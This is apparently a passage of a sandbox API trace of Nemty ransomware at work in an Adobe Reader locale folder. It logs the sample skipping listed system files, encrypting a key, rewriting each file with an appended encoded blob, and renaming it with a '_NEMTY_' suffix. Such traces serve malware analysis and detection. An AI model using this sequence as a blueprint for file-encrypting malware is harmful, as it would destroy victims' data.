10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\spelling.euq._nemty_kgobjgd_")) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.423] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.EUQ", cAlternateFileName="")) returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2=".") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="..") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="...") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="windows") returned -1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="rsa") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="ntldr") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="IO.SYS") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="boot.ini") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="boot.ini") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="ntuser.dat") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="desktop.ini") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="RECYCLER") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="bootmgr") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="programdata") returned 1 [0176.423] lstrcmpiW (lpString1="updater.EUQ", lpString2="appdata") returned 1 [0176.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.424] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.EUQ", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.424] Sleep (dwMilliseconds=0x5) [0176.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ccf43f0, dwHighDateTime=0x1d561e8)) [0176.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ccf43f0, dwHighDateTime=0x1d561e8)) [0176.434] GetLastError () returned 0x0 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.434] GetLastError () returned 0x0 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.434] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.434] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.434] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.434] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="FnzGY7Do+wxLTzI9dRBkJtR8aFJVChVkzSERuSZqWLB4aqHd4eZJ6TuumUdmQ5Ln\r\ngRRQM07h/lWo40QxW0B0z+1St6YiBslBZPljn89EpWkz0lHcHwFx3zN1N+cu9AvR\r\n0KMa5mHaG5VypVr5T7wqsBSp2Z76/RNuQhM3NhLl9WjPPt8Y1gE23nF9HLqeV5SE\r\nv39W2ZQy3U1qpBrfkiVELympzuH1T+3tlpKalxYgThRwNtrn2g1njOw+9di7+MFX\r\nngYMQc4OMr7sHcOur4AB0uYj9Pfe79O9a6pxHtlI14GIy4GZ20p/2pjm6uceJX4F\r\n1iI4/mKM6sgdrAXx0YRNQg==\r\n", pcchString=0x653e5dc) returned 1 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.434] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\updater.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.435] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0176.435] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0176.435] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.435] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0176.438] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.438] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0176.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.438] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0176.438] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.438] CloseHandle (hObject=0x2e8) returned 1 [0176.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.438] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.438] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\updater.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\updater.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\updater.euq._nemty_kgobjgd_")) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.439] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WebLink.EUQ", cAlternateFileName="")) returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2=".") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="..") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="...") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="windows") returned -1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="rsa") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="ntldr") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="IO.SYS") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="boot.ini") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="boot.ini") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="ntuser.dat") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="desktop.ini") returned 1 [0176.439] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.440] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="RECYCLER") returned 1 [0176.440] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.440] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="bootmgr") returned 1 [0176.440] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="programdata") returned 1 [0176.440] lstrcmpiW (lpString1="WebLink.EUQ", lpString2="appdata") returned 1 [0176.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.440] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.EUQ", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.440] Sleep (dwMilliseconds=0x5) [0176.449] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cd1a550, dwHighDateTime=0x1d561e8)) [0176.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cd1a550, dwHighDateTime=0x1d561e8)) [0176.450] GetLastError () returned 0x0 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.450] GetLastError () returned 0x0 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.450] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.450] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.450] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.450] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="GouWqTMj6XxbMt/IFBefliDv3qU19zVFz3RXEQFJi7B6plljsQdTHc7P7ZIW8BPv\r\neSgVceaT7QGT44c0wyje6vDpT0DP6+OEqi2AF3vvUydiYOhZ2qDjBq6xbxyf6XRi\r\n+txiT7v2sa3xo6qXteXVr+LG7UBP20If9j5wxH7P0rafpHSPkH50g1+rg+YftC4R\r\nCKaPAJZPvPbaEYf/PVywjkSycxJKu9ZU2/EZgqDQxbLaBSL674TWI7EIuuENkGie\r\n6l7dqb1ZYam6Wd8F+P6Vyu8/vdYOmZQURaGSQYqZ2F5VFedSYZT2v+NJnbZ6KRgH\r\nSdNBMdy26HED+gUdbXlVXQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.450] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\WebLink.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\weblink.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.451] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0176.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0176.451] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.451] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0176.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0176.454] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0176.454] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.454] CloseHandle (hObject=0x2e8) returned 1 [0176.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.454] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 